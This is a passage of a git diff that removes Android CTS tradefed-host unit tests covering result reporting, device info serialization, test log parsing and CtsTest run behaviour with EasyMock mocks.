-    public void testDeviceSetup() {
-        Map<String, String> emptyMap = Collections.emptyMap();
-        final TestIdentifier testId = new TestIdentifier("android.tests.devicesetup", "TestDeviceSetup");
-        EasyMock.replay(mMockBuild);
-        mResultReporter.invocationStarted(mMockBuild);
-        mResultReporter.testRunStarted(AbiUtils.createId(UnitTests.ABI.getName(), testId.getClassName()), 1);
-        mResultReporter.testStarted(testId);
-        mResultReporter.testEnded(testId, emptyMap);
-        mResultReporter.testRunEnded(3, emptyMap);
-        mResultReporter.invocationEnded(1);
-        String output = getOutput();
-        // TODO: consider doing xml based compare
-        final String deviceSetupTag = "appPackageName=\"android.tests.devicesetup\"";
-        assertFalse(output, output.contains(deviceSetupTag));
-        EasyMock.verify(mMockBuild);
-    }
-
-    /**
-     * Gets the output produced, stripping it of extraneous whitespace characters.
-     */
-    private String getOutput() {
-        String output = mOutputStream.toString();
-        // ignore newlines and tabs whitespace
-        output = output.replaceAll("[\\r\\n\\t]", "");
-        // replace two ws chars with one
-        return output.replaceAll("  ", " ");
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/DeviceInfoResultTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/DeviceInfoResultTest.java
deleted file mode 100644
index fa36430..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/DeviceInfoResultTest.java
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import android.tests.getinfo.DeviceInfoConstants;
-
-import java.io.IOException;
-import java.io.StringReader;
-import java.io.StringWriter;
-import java.util.HashMap;
-import java.util.Map;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link DeviceInfoResult}
- */
-public class DeviceInfoResultTest extends TestCase {
-
-    private DeviceInfoResult mDeserializingInfo;
-
-    @Override
-    protected void setUp() throws Exception {
-        mDeserializingInfo = new DeviceInfoResult() {
-            // override parent to advance xml parser to correct tag
-            @Override
-            void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-                int eventType = parser.getEventType();
-                while (eventType != XmlPullParser.END_DOCUMENT) {
-                    if (eventType == XmlPullParser.START_TAG && parser.getName().equals(TAG)) {
-                        super.parse(parser);
-                        return;
-                    }
-                    eventType = parser.next();
-                }
-                throw new XmlPullParserException(String.format("Could not find tag %s", TAG));
-            }
-        };
-    }
-
-    public void testFeatures() throws Exception {
-        assertSerializeParse(DeviceInfoConstants.FEATURES, "");
-        assertSerializeParse(DeviceInfoConstants.FEATURES,
-                "android.hardware.audio.low_latency:sdk:false;");
-        assertSerializeParse(DeviceInfoConstants.FEATURES, "android.hardware.audio.low_latency:"
-                + "sdk:false;android.hardware.bluetooth:sdk:true;");
-    }
-
-    public void testProcesses() throws Exception {
-        assertSerializeParse(DeviceInfoConstants.PROCESSES, "");
-        assertSerializeParse(DeviceInfoConstants.PROCESSES, "ueventd:0;");
-        assertSerializeParse(DeviceInfoConstants.PROCESSES, "ueventd:0;netd:0;");
-    }
-
-    public void testOpenGlTextureFormats() throws Exception {
-        assertSerializeParse(DeviceInfoConstants.OPEN_GL_COMPRESSED_TEXTURE_FORMATS, "");
-        assertSerializeParse(DeviceInfoConstants.OPEN_GL_COMPRESSED_TEXTURE_FORMATS, "texture1;");
-        assertSerializeParse(DeviceInfoConstants.OPEN_GL_COMPRESSED_TEXTURE_FORMATS,
-                "texture1;texture2;");
-    }
-
-    public void testSystemLibraries() throws Exception {
-        assertSerializeParse(DeviceInfoConstants.SYS_LIBRARIES, "");
-        assertSerializeParse(DeviceInfoConstants.SYS_LIBRARIES, "lib1;");
-        assertSerializeParse(DeviceInfoConstants.SYS_LIBRARIES, "lib1;lib2;");
-    }
-
-    private void assertSerializeParse(String name, String value)
-            throws IOException, ParseException {
-        DeviceInfoResult serializedInfo = new DeviceInfoResult();
-        addMetric(name, value, serializedInfo);
-        String serializedOutput = serialize(serializedInfo);
-        mDeserializingInfo.parse(new StringReader(serializedOutput));
-        assertEquals(value, mDeserializingInfo.getMetrics().get(name));
-    }
-
-    /**
-     * Test populating a combined metric like device serial
-     */
-    public void testPopulateMetrics_combinedSerial() throws Exception {
-        DeviceInfoResult info = new DeviceInfoResult();
-        // first add another metric to make hashmap non empty, so combined logic is triggered
-        addMetric(DeviceInfoConstants.PROCESSES, "proc", info);
-        addMetric(DeviceInfoConstants.SERIAL_NUMBER, "device1", info);
-        // ensure the stored serial number equals the value that was just set
-        assertEquals("device1", info.getMetrics().get(
-                DeviceInfoConstants.SERIAL_NUMBER));
-        // now add it again
-        addMetric(DeviceInfoConstants.SERIAL_NUMBER, "device1", info);
-        // should still equal same value
-        assertEquals("device1", info.getMetrics().get(
-                DeviceInfoConstants.SERIAL_NUMBER));
-        // now store different serial, and expect csv
-        addMetric(DeviceInfoConstants.SERIAL_NUMBER, "device2", info);
-        assertEquals("device1,device2", info.getMetrics().get(
-                DeviceInfoConstants.SERIAL_NUMBER));
-    }
-
-    /**
-     * Test populating a verified-to-be-identical metric like DeviceInfoConstants.BUILD_FINGERPRINT
-     */
-    public void testPopulateMetrics_verify() throws Exception {
-        DeviceInfoResult info = new DeviceInfoResult();
-        addMetric(DeviceInfoConstants.BUILD_FINGERPRINT, "fingerprint1", info);
-        // ensure the stored fingerprint equals the value that was just set
-        assertEquals("fingerprint1", info.getMetrics().get(
-                DeviceInfoConstants.BUILD_FINGERPRINT));
-        // now add it again
-        addMetric(DeviceInfoConstants.BUILD_FINGERPRINT, "fingerprint1", info);
-        // should still equal same value
-        assertEquals("fingerprint1", info.getMetrics().get(
-                DeviceInfoConstants.BUILD_FINGERPRINT));
-        // now store different serial, and expect error message
-        addMetric(DeviceInfoConstants.BUILD_FINGERPRINT, "fingerprint2", info);
-        assertTrue(info.getMetrics().get(
-                DeviceInfoConstants.BUILD_FINGERPRINT).contains("ERROR"));
-    }
-
-    /**
-     * Helper method to add given metric to the {@link DeviceInfoResult}
-     */
-    private void addMetric(String metricName, String metricValue, DeviceInfoResult serializedInfo) {
-        Map<String, String> collectedMetrics = new HashMap<String, String>();
-        collectedMetrics.put(metricName, metricValue);
-        serializedInfo.populateMetrics(collectedMetrics);
-    }
-
-    /**
-     * Helper method to serialize given object to XML
-     */
-    private String serialize(DeviceInfoResult serializedInfo)
-            throws IOException {
-        KXmlSerializer xmlSerializer = new KXmlSerializer();
-        StringWriter serializedOutput = new StringWriter();
-        xmlSerializer.setOutput(serializedOutput);
-        serializedInfo.serialize(xmlSerializer);
-        return serializedOutput.toString();
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestLogTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestLogTest.java
deleted file mode 100644
index 55c3071..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestLogTest.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.cts.tradefed.result.TestLog.TestLogType;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-import junit.framework.TestCase;
-
-import java.io.StringReader;
-import java.io.StringWriter;
-
-/** Tests for {@link TestLog}. */
-public class TestLogTest extends TestCase {
-
-    public void testTestLogType_fromDataName() {
-        assertNull(TestLogType.fromDataName(null));
-        assertNull(TestLogType.fromDataName(""));
-        assertNull(TestLogType.fromDataName("kmsg-foo_bar_test"));
-
-        assertEquals(TestLogType.LOGCAT,
-            TestLogType.fromDataName("logcat-foo_bar_test"));
-        assertEquals(TestLogType.BUGREPORT,
-            TestLogType.fromDataName("bug-foo_bar_test"));
-    }
-
-    public void testTestLogType_getAttrValue() {
-        assertEquals("logcat", TestLogType.LOGCAT.getAttrValue());
-        assertEquals("bugreport", TestLogType.BUGREPORT.getAttrValue());
-    }
-
-    public void testFromDataName() {
-        TestLog log = TestLog.fromDataName("logcat-baz_test", "http://logs/baz_test");
-        assertEquals(TestLogType.LOGCAT, log.getLogType());
-        assertEquals("http://logs/baz_test", log.getUrl());
-    }
-
-    public void testFromDataName_unrecognizedDataName() {
-        assertNull(TestLog.fromDataName("kmsg-baz_test", null));
-    }
-
-    public void testFromDataName_nullDataName() {
-        assertNull(TestLog.fromDataName(null, "http://logs/baz_test"));
-    }
-
-    public void testFromDataName_nullUrl() {
-        assertNull(TestLog.fromDataName("logcat-bar_test", null));
-    }
-
-    public void testFromDataName_allNull() {
-        assertNull(TestLog.fromDataName(null, null));
-    }
-
-    public void testFromXml() throws Exception {
-        TestLog log = TestLog.fromXml(newXml("<TestLog type=\"logcat\" url=\"http://logs/baz_test\">"));
-        assertEquals(TestLogType.LOGCAT, log.getLogType());
-        assertEquals("http://logs/baz_test", log.getUrl());
-    }
-
-    public void testFromXml_unrecognizedType() throws Exception {
-        assertNull(TestLog.fromXml(newXml("<TestLog type=\"kmsg\" url=\"http://logs/baz_test\">")));
-    }
-
-    public void testFromXml_noTypeAttribute() throws Exception {
-        assertNull(TestLog.fromXml(newXml("<TestLog url=\"http://logs/baz_test\">")));
-    }
-
-    public void testFromXml_noUrlAttribute() throws Exception {
-        assertNull(TestLog.fromXml(newXml("<TestLog type=\"bugreport\">")));
-    }
-
-    public void testFromXml_allNull() throws Exception {
-        assertNull(TestLog.fromXml(newXml("<TestLog>")));
-    }
-
-    public void testSerialize() throws Exception {
-        KXmlSerializer serializer = new KXmlSerializer();
-        StringWriter writer = new StringWriter();
-        serializer.setOutput(writer);
-
-        TestLog log = TestLog.of(TestLogType.LOGCAT, "http://logs/foo/bar");
-        log.serialize(serializer);
-        assertEquals("<TestLog type=\"logcat\" url=\"http://logs/foo/bar\" />", writer.toString());
-    }
-
-    public void testIsTag() {
-        assertTrue(TestLog.isTag("TestLog"));
-        assertFalse(TestLog.isTag("TestResult"));
-    }
-
-    private XmlPullParser newXml(String xml) throws Exception {
-        XmlPullParserFactory factory = org.xmlpull.v1.XmlPullParserFactory.newInstance();
-        XmlPullParser parser = factory.newPullParser();
-        parser.setInput(new StringReader(xml));
-
-        // Move the parser from the START_DOCUMENT stage to the START_TAG of the data.
-        parser.next();
-
-        return parser;
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestPackageResultTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestPackageResultTest.java
deleted file mode 100644
index 57d322e..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestPackageResultTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-
-import junit.framework.TestCase;
-
-import java.util.Collection;
-import java.util.HashMap;
-
-/**
- * Unit tests for {@link TestPackageResult}.
- */
-public class TestPackageResultTest extends TestCase {
-
-    /**
-     * Simple test for {@link TestPackageResult#getTestsWithStatus(CtsTestStatus)}.
-     */
-    public void testGetTestsWithStatus() {
-        TestPackageResult pkgResult = new TestPackageResult();
-        TestIdentifier excludedTest = new TestIdentifier("com.example.ExampleTest", "testPass");
-        pkgResult.insertTest(excludedTest);
-        pkgResult.reportTestEnded(excludedTest, new HashMap<String, String>());
-        TestIdentifier includedTest = new TestIdentifier("com.example.ExampleTest",
-                "testNotExecuted");
-        pkgResult.insertTest(includedTest);
-        Collection<TestIdentifier> tests =  pkgResult.getTestsWithStatus(
-                CtsTestStatus.NOT_EXECUTED);
-        assertEquals(1, tests.size());
-        assertEquals(includedTest, tests.iterator().next());
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestResultsTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestResultsTest.java
deleted file mode 100644
index 75f545e..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestResultsTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import java.io.StringReader;
-
-/**
- * Unit tests for {@link TestResults} parsing.
- */
-public class TestResultsTest extends junit.framework.TestCase {
-
-    private static final String RESULT_START = "<TestResult>";
-    private static final String RESULT_END = "</TestResult>";
-    private static final String TEST_PACKAGE_START =
-        "<TestPackage name=\"pkgName\" appPackageName=\"appPkgName\" digest=\"digValue\" >";
-    private static final String TEST_PACKAGE_END = "</TestPackage>";
-
-    private static final String TEST_PACKAGE_FULL =
-        RESULT_START +TEST_PACKAGE_START + TEST_PACKAGE_END + RESULT_END;
-
-    private static final String TEST_FULL =
-        RESULT_START + TEST_PACKAGE_START +
-        "<TestSuite name=\"com\" >" +
-            "<TestSuite name=\"example\" >" +
-                "<TestCase name=\"ExampleTest\" >" +
-                     "<Test name=\"testExample\"  endtime=\"et\" starttime=\"st\" result=\"fail\" >" +
-                         "<FailedScene message=\"msg\" >" +
-                             "<StackTrace>at ExampleTest.testExample()" +
-                             "</StackTrace>" +
-                         "</FailedScene>" +
-                      "</Test>" +
-                "</TestCase>" +
-            "</TestSuite>" +
-        "</TestSuite>";
-
-    /**
-     * Test parsing data with no result content
-     */
-    public void testParse_empty() throws Exception {
-        TestResults parser = new TestResults();
-        parser.parse(new StringReader("<Empty/>"));
-        assertEquals(0, parser.getPackages().size());
-    }
-
-    /**
-     * Test parsing data with a single test package
-     */
-    public void testParse_package() throws Exception {
-        TestResults parser = new TestResults();
-        parser.parse(new StringReader(TEST_PACKAGE_FULL));
-        assertEquals(1, parser.getPackages().size());
-        TestPackageResult pkg = parser.getPackages().iterator().next();
-        assertEquals("pkgName", pkg.getName());
-        assertEquals("appPkgName", pkg.getAppPackageName());
-        assertEquals("digValue", pkg.getDigest());
-    }
-
-    /**
-     * Test parsing not well formed XML data
-     */
-    public void testParse_corrupt() throws Exception {
-        TestResults parser = new TestResults();
-        // missing TEST_PACKAGE_END
-        try {
-            parser.parse(new StringReader(RESULT_START + TEST_PACKAGE_START + RESULT_END));
-            fail("ParseException not thrown");
-        } catch (ParseException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test parsing a result with a single failed test
-     */
-    public void testParse_test() throws Exception {
-        TestResults parser = new TestResults();
-        parser.parse(new StringReader(TEST_FULL));
-        assertEquals(1, parser.getPackages().size());
-        TestPackageResult pkg = parser.getPackages().iterator().next();
-        TestSuite comSuite = pkg.getTestSuites().iterator().next();
-        assertEquals("com", comSuite.getName());
-        TestSuite exampleSuite = comSuite.getTestSuites().iterator().next();
-        assertEquals("example", exampleSuite.getName());
-        TestCase exampleCase = exampleSuite.getTestCases().iterator().next();
-        assertEquals("ExampleTest", exampleCase.getName());
-        Test exampleTest = exampleCase.getTests().iterator().next();
-        assertEquals("testExample", exampleTest.getName());
-        assertEquals("msg", exampleTest.getMessage());
-        assertEquals("at ExampleTest.testExample()", exampleTest.getStackTrace());
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestSummaryXmlTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestSummaryXmlTest.java
deleted file mode 100644
index f8b135a..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestSummaryXmlTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import java.io.Reader;
-import java.io.StringReader;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link TestSummaryXml}.
- */
-public class TestSummaryXmlTest extends TestCase {
-
-    static final String TEST_DATA =
-        "<TestResult>" +
-            "<Summary failed=\"1\" notExecuted=\"2\" pass=\"3\" timeout=\"4\"/>" +
-        "</TestResult>";
-
-    static final String MISSING_DATA =
-        "<TestResult>" +
-            "<Foo failed=\"1\" notExecuted=\"2\" pass=\"3\" timeout=\"4\"/>" +
-        "</TestResult>";
-
-    public void testConstructor()  {
-        TestSummaryXml result = new TestSummaryXml(1, "2011-11-01");
-        assertEquals(1, result.getId());
-        assertEquals("2011-11-01", result.getTimestamp());
-    }
-
-    /**
-     * Simple test for parsing summary data
-     */
-    public void testParse() throws ParseException  {
-        TestSummaryXml result = new TestSummaryXml(1, "2011-11-01");
-        result.parse(getStringAsReader(TEST_DATA));
-        // expect failed and timeout to be summed
-        assertEquals(5, result.getNumFailed());
-        assertEquals(2, result.getNumIncomplete());
-        assertEquals(3, result.getNumPassed());
-    }
-
-    /**
-     *  Test data where Summary tag is missing
-     */
-    public void testParse_missing() {
-        TestSummaryXml result = new TestSummaryXml(1, "2011-11-01");
-        try {
-            result.parse(getStringAsReader(MISSING_DATA));
-            fail("ParseException not thrown");
-        } catch (ParseException e) {
-            // expected
-        }
-    }
-
-    private Reader getStringAsReader(String input) {
-        return new StringReader(input);
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestTest.java
deleted file mode 100644
index 6494171..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/result/TestTest.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link Test}.
- * <p/>
- * Lets hope a TestTestTest is not needed...
- */
-public class TestTest extends TestCase {
-
-    /**
-     * Test {@link Test#getFailureMessageFromStackTrace(String)} for an empty stack
-     */
-    public void testGetFailureMessageFromStackTrace_empty() {
-        final String stack = "";
-        assertEquals(stack, Test.getFailureMessageFromStackTrace(stack));
-    }
-
-    /**
-     * Test {@link Test#getFailureMessageFromStackTrace(String)} for a one line stack
-     */
-    public void testGetFailureMessageFromStackTrace_oneLine() {
-        final String stack = "this is a line";
-        assertEquals(stack, Test.getFailureMessageFromStackTrace(stack));
-    }
-
-    /**
-     * Test {@link Test#getFailureMessageFromStackTrace(String)} for a one line stack with a newline
-     * char
-     */
-    public void testGetFailureMessageFromStackTrace_oneNewLine() {
-        final String stack = "this is a line\n";
-        assertEquals(stack, Test.getFailureMessageFromStackTrace(stack));
-    }
-
-    /**
-     * Test {@link Test#getFailureMessageFromStackTrace(String)} for a two line stack
-     */
-    public void testGetFailureMessageFromStackTrace_twoLines() {
-        final String stack = "this is a line\nthis is also a line";
-        assertEquals(stack, Test.getFailureMessageFromStackTrace(stack));
-    }
-
-    /**
-     * Test {@link Test#getFailureMessageFromStackTrace(String)} for a multi line stack
-     */
-    public void testGetFailureMessageFromStackTrace_multiLines() {
-        final String stack = "this is a line\nthis is also a line\n oh look another line";
-        assertEquals("this is a line\nthis is also a line",
-                Test.getFailureMessageFromStackTrace(stack));
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/CtsTestTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/CtsTestTest.java
deleted file mode 100644
index 19204b7..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/CtsTestTest.java
+++ /dev/null
@@ -1,427 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.UnitTests;
-import com.android.cts.tradefed.build.StubCtsBuildHelper;
-import com.android.cts.tradefed.result.PlanCreator;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-
-import java.io.ByteArrayInputStream;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Unit tests for {@link CtsTest}.
- */
-public class CtsTestTest extends TestCase {
-
-    private static final String PLAN_NAME = "CTS";
-    private static final String PACKAGE_NAME = "test-name";
-    private static final String ID = AbiUtils.createId(UnitTests.ABI.getName(), PACKAGE_NAME);
-    private static final TestIdentifier TEST_IDENTIFIER =
-            new TestIdentifier("CLASS_NAME", "TEST_NAME");
-    private static final List<String> NAMES = new ArrayList<>();
-    private static final List<String> IDS = new ArrayList<>();
-    private static final List<TestIdentifier> TEST_IDENTIFIER_LIST = new ArrayList<>();
-
-    static {
-        NAMES.add(PACKAGE_NAME);
-        IDS.add(ID);
-        TEST_IDENTIFIER_LIST.add(TEST_IDENTIFIER);
-    }
-
-    /** the test fixture under test, with all external dependencies mocked out */
-    private CtsTest mCtsTest;
-    private ITestPackageRepo mMockRepo;
-    private ITestPlan mMockPlan;
-    private ITestDevice mMockDevice;
-    private ITestInvocationListener mMockListener;
-    private StubCtsBuildHelper mStubBuildHelper;
-    private ITestPackageDef mMockPackageDef;
-    private Set<ITestPackageDef> mMockPackageDefs;
-    private IRemoteTest mMockTest;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mMockRepo = EasyMock.createMock(ITestPackageRepo.class);
-        mMockPlan = EasyMock.createMock(ITestPlan.class);
-        mMockDevice = EasyMock.createMock(ITestDevice.class);
-        mMockListener = EasyMock.createNiceMock(ITestInvocationListener.class);
-        mStubBuildHelper = new StubCtsBuildHelper();
-        mMockPackageDefs = new HashSet<>();
-        mMockPackageDef = EasyMock.createMock(ITestPackageDef.class);
-        mMockPackageDefs.add(mMockPackageDef);
-        EasyMock.expect(mMockPackageDef.getTargetApkName()).andStubReturn(null);
-        EasyMock.expect(mMockPackageDef.getTargetPackageName()).andStubReturn(null);
-        mMockTest = EasyMock.createMock(IRemoteTest.class);
-
-        mCtsTest = new CtsTest() {
-            @Override
-            ITestPackageRepo createTestCaseRepo() {
-                return mMockRepo;
-            }
-
-            @Override
-            ITestPlan createPlan(String planName) {
-                return mMockPlan;
-            }
-
-            @Override
-            ITestPlan createPlan(PlanCreator planCreator) {
-                return mMockPlan;
-            }
-
-            @Override
-            InputStream createXmlStream(File xmlFile) throws FileNotFoundException {
-                // return empty stream, not used
-                return new ByteArrayInputStream(new byte[0]);
-            }
-        };
-        mCtsTest.setDevice(mMockDevice);
-        mCtsTest.setBuildHelper(mStubBuildHelper);
-        // turn off device collection for simplicity
-        mCtsTest.setSkipDeviceInfo(true);
-        // only run tests on one ABI
-        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist"))
-                .andReturn(UnitTests.ABI.getName()).anyTimes();
-    }
-
-    /**
-     * Test normal case {@link CtsTest#run(ITestInvocationListener)} when running a plan.
-     */
-    @SuppressWarnings("unchecked")
-    public void testRun_plan() throws DeviceNotAvailableException, ParseException {
-        setParsePlanExpectations();
-
-        setCreateAndRunTestExpectations();
-
-        replayMocks();
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Test normal case {@link CtsTest#run(ITestInvocationListener)} when running a package.
-     */
-    @SuppressWarnings("unchecked")
-    public void testRun_package() throws DeviceNotAvailableException {
-        mCtsTest.addPackageName(PACKAGE_NAME);
-        Map<String, List<ITestPackageDef>> nameMap = new HashMap<>();
-        List<ITestPackageDef> testPackageDefList = new ArrayList<>();
-        testPackageDefList.add(mMockPackageDef);
-        nameMap.put(PACKAGE_NAME, testPackageDefList);
-
-        EasyMock.expect(mMockRepo.getTestPackageDefsByName()).andReturn(nameMap);
-
-        setCreateAndRunTestExpectations();
-
-        replayMocks();
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Test a resumed run
-     */
-    @SuppressWarnings("unchecked")
-    public void testRun_resume() throws DeviceNotAvailableException {
-        mCtsTest.addPackageName(PACKAGE_NAME);
-        Map<String, List<ITestPackageDef>> nameMap = new HashMap<>();
-        List<ITestPackageDef> testPackageDefList = new ArrayList<>();
-        testPackageDefList.add(mMockPackageDef);
-        nameMap.put(PACKAGE_NAME, testPackageDefList);
-
-        EasyMock.expect(mMockRepo.getTestPackageDefsByName()).andReturn(nameMap);
-        setCreateAndRunTestExpectations();
-        // abort the first run
-        EasyMock.expectLastCall().andThrow(new DeviceNotAvailableException());
-
-        // now expect test to be resumed
-        mMockTest.run((ITestInvocationListener)EasyMock.anyObject());
-
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("Did not throw DeviceNotAvailableException");
-        } catch (DeviceNotAvailableException e) {
-            // expected
-        }
-        // now resume, and expect same test's run method to be called again
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Test normal case {@link CtsTest#run(ITestInvocationListener)} when running a class.
-     */
-    @SuppressWarnings("unchecked")
-    public void testRun_class() throws DeviceNotAvailableException {
-        final String className = "className";
-        final String methodName = "methodName";
-        mCtsTest.setClassName(className);
-        mCtsTest.setMethodName(methodName);
-
-        EasyMock.expect(mMockRepo.findPackageIdsForTest(className)).andReturn(IDS);
-        mMockPackageDef.setClassName(className, methodName);
-
-        setCreateAndRunTestExpectations();
-
-        replayMocks();
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Test normal case {@link CtsTest#run(ITestInvocationListener)} when running a class.
-     */
-    @SuppressWarnings("unchecked")
-    public void testRun_test() throws DeviceNotAvailableException {
-        final String className = "className";
-        final String methodName = "methodName";
-        final String testName = String.format("%s#%s", className, methodName);
-        mCtsTest.setTestName(testName);
-
-        EasyMock.expect(mMockRepo.findPackageIdsForTest(className)).andReturn(IDS);
-        mMockPackageDef.setClassName(className, methodName);
-
-        setCreateAndRunTestExpectations();
-
-        replayMocks();
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --excluded-package is specified
-     */
-    public void testRun_excludedPackage() throws DeviceNotAvailableException, ParseException {
-        mCtsTest.setPlanName(PLAN_NAME);
-        mMockPlan.parse((InputStream) EasyMock.anyObject());
-        EasyMock.expect(mMockPlan.getTestIds()).andReturn(IDS);
-
-        mCtsTest.addExcludedPackageName(PACKAGE_NAME);
-
